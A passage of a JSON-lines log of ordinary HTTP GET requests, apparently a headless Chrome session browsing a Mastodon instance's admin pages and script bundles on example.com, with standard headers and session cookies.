_mastodon_session=fdmBJUzDykZ9vuxDaKs6CtpGzmM19KdW0sGqKgkU93OM%2F2XguQRvNiIkoLmzMTAVW8l7TG%2Bu5t30HLyIWv%2FTb6d89RZYO4%2FR97VquoMBPeOy92Y3U0apd3ToRB2AP1fkrZ0omKCOoCfv%2BmWQ1Hw2SfQj6%2Fb38Xj3ETl06m1AqPkcPi6Psj4N6XE29N%2BkE5vYWcQaOvYhSlSBFUT5Wu8J4oC7lAmrqQMVHzQ0JUFnFgvn04NUY3kdGeA2gBApgnSmrkm0rnVoKTOIS1ilHXh%2FwCqsU85ktEyNZe5M3rSZGPb9Pr57tjJPKjBY0K46fK2P6HLdM0jsUfpGLtSK5I0koNoxMNCVBdnJMtCbMUJ7wlvokFqMRZwn7PTwk87ap0yAQl117MhUGpSX--myBsRu193ek%2B4Iyt--T2NQcxyk%2B8XFFQN%2BPx45PQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/tags?name=python3", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MDkuOTIxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--02fd1120fad0c0d6068175ab96f5c42cb80999e0; _mastodon_session=fdmBJUzDykZ9vuxDaKs6CtpGzmM19KdW0sGqKgkU93OM%2F2XguQRvNiIkoLmzMTAVW8l7TG%2Bu5t30HLyIWv%2FTb6d89RZYO4%2FR97VquoMBPeOy92Y3U0apd3ToRB2AP1fkrZ0omKCOoCfv%2BmWQ1Hw2SfQj6%2Fb38Xj3ETl06m1AqPkcPi6Psj4N6XE29N%2BkE5vYWcQaOvYhSlSBFUT5Wu8J4oC7lAmrqQMVHzQ0JUFnFgvn04NUY3kdGeA2gBApgnSmrkm0rnVoKTOIS1ilHXh%2FwCqsU85ktEyNZe5M3rSZGPb9Pr57tjJPKjBY0K46fK2P6HLdM0jsUfpGLtSK5I0koNoxMNCVBdnJMtCbMUJ7wlvokFqMRZwn7PTwk87ap0yAQl117MhUGpSX--myBsRu193ek%2B4Iyt--T2NQcxyk%2B8XFFQN%2BPx45PQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/react-dom-BddMPX6d.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/tags?name=python3", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MTIuNzY1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--d6f4dbca96ee5e129689b201e87ebe6fa58ea140; _mastodon_session=NFnChyhDFry4INEz%2BWzfqgy74NH%2F6PpNmL%2BMgG9Jei8Yywiuu7Etl7dLj7TdUj%2BZFfEQsH5FQE2ZRnXa9idN8uIFcrYC82%2BsWuFzIhtJUPPmlPah7DDgudK%2B9sTze5KY1BI2ROEuZS9b7C2z86SQxfQYoLNrJSBQFl0S98ZGVD92ocpqtvzgaWMoRi%2B9GZ87%2FOttt4ERZT5hW%2BZMhGwv0PcYjaRnRd%2F0Eob0UgQtxnFvWzZ4cbaE2g4xK3Ysh5LDuGiYcHwR9zZ5UhBKDbDVrhpqwp057DB67F4juDotAW76%2Bdmm6WAewfc3rphZFy0IV91aCUGjuhVNQg%2Fr9nLpy%2FJpliYlxgrFdUo8Q5iv6tJheF6UKJwsQfJhWy3JAQvcFG1jOYDrMpXm--oBX%2FQWjRY4CY6sWS--oz7REDrmHuSsV%2FO5TwowzQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/action_logs", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MTIuNzY1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--d6f4dbca96ee5e129689b201e87ebe6fa58ea140; _mastodon_session=NFnChyhDFry4INEz%2BWzfqgy74NH%2F6PpNmL%2BMgG9Jei8Yywiuu7Etl7dLj7TdUj%2BZFfEQsH5FQE2ZRnXa9idN8uIFcrYC82%2BsWuFzIhtJUPPmlPah7DDgudK%2B9sTze5KY1BI2ROEuZS9b7C2z86SQxfQYoLNrJSBQFl0S98ZGVD92ocpqtvzgaWMoRi%2B9GZ87%2FOttt4ERZT5hW%2BZMhGwv0PcYjaRnRd%2F0Eob0UgQtxnFvWzZ4cbaE2g4xK3Ysh5LDuGiYcHwR9zZ5UhBKDbDVrhpqwp057DB67F4juDotAW76%2Bdmm6WAewfc3rphZFy0IV91aCUGjuhVNQg%2Fr9nLpy%2FJpliYlxgrFdUo8Q5iv6tJheF6UKJwsQfJhWy3JAQvcFG1jOYDrMpXm--oBX%2FQWjRY4CY6sWS--oz7REDrmHuSsV%2FO5TwowzQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/jsx-runtime-BdxMnOeJ.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/action_logs", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MTUuNjAzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--3096f08c146fa14302ad2d672a0570934c5a129f; _mastodon_session=uKF7zTl%2BRavFBrha1TLOuxxq4jSA%2BQYTUkrT8h2VHA0XZa4NxW44ltvVQ0M5MAG3%2FX9CzsdCu9GOiuTyt12GKar57FANN3cxuv3W4WrpXF89gVU%2FsE8WrqzPq3DLp0SrkbIXzaQYtaVPOgUGYBu%2FEu1IEZeyXeze7fOOPIMrog82PEPVI4myCLWUJ%2FG3DIfQb05LFJ%2F19RHPoPL4wnTYw1Pm65wUiZCdEGaVGfLbgTBjghwLkIGLi8STyXorRnP98eqICI7qem%2BuXnN5trEZHS5QxRlx48vC79ZuLqkSyKIoxekZA3hv4jxvhsTbzxRyJzH2Dk4gsCfK3F9O07PfBLq3ih8HOQ5AzaUFli89I%2BAgQxALf0ETdcqLlY0Za7qOyPYLH5UVnY4l--Bxly6YlXZCndBwbw--6hTumwCewXjEZ%2BxkhTVSPQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/roles", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MTUuNjAzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--3096f08c146fa14302ad2d672a0570934c5a129f; _mastodon_session=uKF7zTl%2BRavFBrha1TLOuxxq4jSA%2BQYTUkrT8h2VHA0XZa4NxW44ltvVQ0M5MAG3%2FX9CzsdCu9GOiuTyt12GKar57FANN3cxuv3W4WrpXF89gVU%2FsE8WrqzPq3DLp0SrkbIXzaQYtaVPOgUGYBu%2FEu1IEZeyXeze7fOOPIMrog82PEPVI4myCLWUJ%2FG3DIfQb05LFJ%2F19RHPoPL4wnTYw1Pm65wUiZCdEGaVGfLbgTBjghwLkIGLi8STyXorRnP98eqICI7qem%2BuXnN5trEZHS5QxRlx48vC79ZuLqkSyKIoxekZA3hv4jxvhsTbzxRyJzH2Dk4gsCfK3F9O07PfBLq3ih8HOQ5AzaUFli89I%2BAgQxALf0ETdcqLlY0Za7qOyPYLH5UVnY4l--Bxly6YlXZCndBwbw--6hTumwCewXjEZ%2BxkhTVSPQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/rolldown-runtime-C0FnF6B9.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/roles", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MTguNDUyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--3b0d4a3f025887f1aee8546fd4b03aac80ec0fb0; _mastodon_session=0mYjZ0Q1w0I%2FhAP%2Bkou1EGd%2FYO6o%2Bvu2YUGMGkANZcM%2FAn5WUyHAPNzVFgEAJ8TOMnsmiTM2cpNd5biXdKNi69xi9A4tEK2SWFNNu1CYUwyySWa08as6wf2h5QIwZSU2Xj0EpvuFWHSs9zyCzO2xjTd2sy%2BO%2Fbc1I1d7bfLnUdpQeNl1QUtFKXvTt9U5FVVm%2FZpKMdJMJsCRsMQ2b2od6N%2Bsx9ECMMuVcpfS1p0%2F4FEvxodIXn6sPPC36k%2F3q%2BkWQ9ITDtK5XtK49Y%2BLIRsX9i2Qx6QeHb8w9lWuhftBZ0Ijgr%2Bgs20WIBsXSw7hXy3yL5XtY2xxAlVlshh73xXZEwPUORUlnuLdrakRkyiqpA1f8vP1D7t5ZmRZ5qifyFPZyAipn8ohLO9H--%2BMPGVez4RuDHe0VA--qiiWjVWtwy7wY9An21xtZA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/relays", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MTguNDUyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--3b0d4a3f025887f1aee8546fd4b03aac80ec0fb0; _mastodon_session=0mYjZ0Q1w0I%2FhAP%2Bkou1EGd%2FYO6o%2Bvu2YUGMGkANZcM%2FAn5WUyHAPNzVFgEAJ8TOMnsmiTM2cpNd5biXdKNi69xi9A4tEK2SWFNNu1CYUwyySWa08as6wf2h5QIwZSU2Xj0EpvuFWHSs9zyCzO2xjTd2sy%2BO%2Fbc1I1d7bfLnUdpQeNl1QUtFKXvTt9U5FVVm%2FZpKMdJMJsCRsMQ2b2od6N%2Bsx9ECMMuVcpfS1p0%2F4FEvxodIXn6sPPC36k%2F3q%2BkWQ9ITDtK5XtK49Y%2BLIRsX9i2Qx6QeHb8w9lWuhftBZ0Ijgr%2Bgs20WIBsXSw7hXy3yL5XtY2xxAlVlshh73xXZEwPUORUlnuLdrakRkyiqpA1f8vP1D7t5ZmRZ5qifyFPZyAipn8ohLO9H--%2BMPGVez4RuDHe0VA--qiiWjVWtwy7wY9An21xtZA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/trends/links", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MjEuMzAyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--75b887123f8ced2df29248bfec8210db9b331ac5; _mastodon_session=MgE9xic9QrMILUPJLNaFKQaCzh%2FXM7mSzLCCOMgHXU1S9U6bpRt5%2FxAUT56ZUqT1FvXMyhStYY5sIU%2FFDkgZnDfWR01oo%2BmIrWXSgseILohuofPSNs9osfSP6OR0ptZUElBgJBJik4WwnH8%2B%2BfDZ6AcvVCYcvdTkpnnfkmu%2FZvbIwgmUFG2O5z0WVd01W1ZKxOH6ktSDqtW2zsPTkzXrs7NZP%2FC5GSzV8hcDMkjQW8WfbxP6RIHZjp3AWZARmhaA7BFoPrx%2FOtNRu3e0W2XsvBACzezwTnZXSfy4ywepSS2pRsUEC5%2BIe%2BiJneW31rA2ScY26wO64gDshDqmLZiB2XPqkXHMoB7%2B5estpGV3tNwPFgAjbk8%2FS3SCGFY62xX9nWyh9a9XAAti--JH5NWlBAZuMsIPN6--Dr8q%2BWbJzAqOibX2y8ZD%2Fg%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/rolldown-runtime-C0FnF6B9.js", "headers": ["Host: example.com", "Connection: keep-alive", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: serviceworker", "Referer: https://example.com/sw.js", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept-Encoding: gzip, deflate, br, zstd", "Accept-Language: en-US,en;q=0.9"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/trends/tags", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MjQuMTQ4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--07fd423afff187fdfaef441d6fb5e5063c0769fe; _mastodon_session=fOt%2Bvw5wckLINZ%2BiFoKVC3Pc5NQtJoQMiztNGDBKbpjP0cS8ClRov4aJ%2Fs4EWv%2FsqqitYD8VOYrbqWa3%2FgRg0Y7mJJ7kThynjptXYJC8fadmwNyYcM9EXcILq6fReMy6AguzI5A%2BxIfl44cegjE7ehdsp0OWorblq54xYrzKPeWsoolE0zjT8Xc3YE4F7iKXb303ZaRB2IuFG8FYnRQGNxU07SaPa%2FpaiHePas6lAAQ5vFz77qupC8GW5Fo2zyx3KmO3HlCiYVOnSwmXU0ztMdM9VP%2BBD%2B2x33c%2ByWuoS2x8WL03c5UbWjf00DbgMh8gEFRPqE7X1fKp%2BMGgSTCq67qauzZgRJIIWPqg3CrHd9WncejhoXgDZgfJ%2FMGqMl5TzGVz1Ma2QmuH--cMc5eZDENJa7lBPE--qpkQljJquN4ebr%2FhU2Kdfg%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/jsx-runtime-BdxMnOeJ.js", "headers": ["Host: example.com", "Connection: keep-alive", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: serviceworker", "Referer: https://example.com/sw.js", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept-Encoding: gzip, deflate, br, zstd", "Accept-Language: en-US,en;q=0.9"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/trends/statuses", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MjcuMTI2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--7c414d34ab8f634fc3192b5a84c7221c62c663db; _mastodon_session=7hzC9L9AUI7XiLeJnXP7VGOD0X2TrDotL%2B3NW%2Fgipkd7wfDl%2BCeVId3oO1kPWIjatqoFSXYAG1hjv2qXf5K6mP3EUiPMpYNy85xqRgkvv5Z4R9QoNe8q2hgk0Y6Il%2B8sPJjeA0kTjorAOB1txr1XkEZqk%2BUoBpXu4YG6kUTrPjzit601Ch3fCVsbbwqzbnk6y7cZzRFCBbhx6WUsquxxjVDEmAK0zgpcHHYrJnaFqu%2B%2FBn3OjwwCNaUT3YKtfwzrD%2Bl%2BFTJZJJ1xqvxumufal0PPjuF1gX0za9VlwFSebytUjfAAkTi489T7GIe4X%2FZ4bz8hA%2BVeAoqEepowztbECkdyKG8waBjO%2B1wvmDQILJgtAHqyfboWGLLGn1ZljVsyT7R9j1N6%2FDWC--C%2BQObkmZly3IQkxH--ZEQPNb7YTEi%2Ft0hnqQv%2BYA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/sw.js", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Accept: */*", "Service-Worker: script", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: same-origin", "Sec-Fetch-Dest: serviceworker", "Referer: https://example.com/sw.js", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept-Encoding: gzip, deflate, br, zstd", "Accept-Language: en-US,en;q=0.9"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/follow_recommendations", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MzAuMTEwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--656662cf53f572d26bdb0f308595dc85fd3a602a; _mastodon_session=6IJBff2x%2FMbXNP3QSv2znCqYuHfmV1SLFQfqw6UZ3KAZoWnGEUiLHoCKs54GeaZM%2Fse1Q%2BOBKF9ML6XrxYswD3pKSvILNMkYiJ3EG%2FTnZLLRWZJSleK9Tr1hIf6QPuhholWydhTCMtrvNoFWDRBkRe1GLNPsdJhivPf%2B9H%2ByoBonMuEuELOvHo42KevScyBCRWanSrKc6Bq%2FWfFwj1qON7QQI9gZ%2FbtKljREFSOK5LR3gpusVt4a5QnUXSY4dOzfmAzor5IUNSzEXZKK0LYJXbLxoE6qzMZkyokQz%2BOZhiug69Xq3ce1fP%2B9tsXAL8pPbxuPZNvc6qiPE0vrwK63m4drvdkVP%2FJCy%2BqpC8nEA7GPzdjgVjChhU88zmVOOXbQ9Fa6EXuCxFMQ--6zvxtk%2B6R2APVs8y--DWd1GN0OBkmP1KtWXm3www%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/esm-DrOrXu-Y.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/follow_recommendations", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MzMuMTI2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--284c632524d78e801ba62bd16223d3259e127ec7; _mastodon_session=vuomX8ZGGtHfGqeIGWv7g4jvRuO4t%2FH4jUVwuGyGCGd7CDHQbIlkTcNr%2B1xJEHr2sbqhfPEKKqdEUDTnPE0p%2B45W9jvAH4Sz2QKjmHxuaYgBTOJYg2pfQfy14C22%2Bs5fvq8qCKXHSKk%2FNI4GokYB3ixwk4xstDdPq6EetSTHA8vmyX%2FHaTEPjA0T2bNVaj5jO5SnjYlUa1W6SRA%2Fwd9q%2FX24PpO87n3BlXBMJu3gFgFrkEsO4HtNQIdVZGVAFiX7DH9v%2Bvj9YiNd%2Fn%2FjKiDsKzXPGesij0b2B6gzYTHEujuOUUTDqmCuIIamQlMAYRlrha3bgb0kK69QyD%2BvStwU44Ycqf1yDzYUcwYjaY9dYX7Nq5rGV9QwRQd1feyS0rCoJ3QjvbqssmjV--8mr2L1y9RD9joeAT--URA9e2uebQuMLiQ6cFRp0g%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/settings/branding", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MzMuMTI2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--284c632524d78e801ba62bd16223d3259e127ec7; 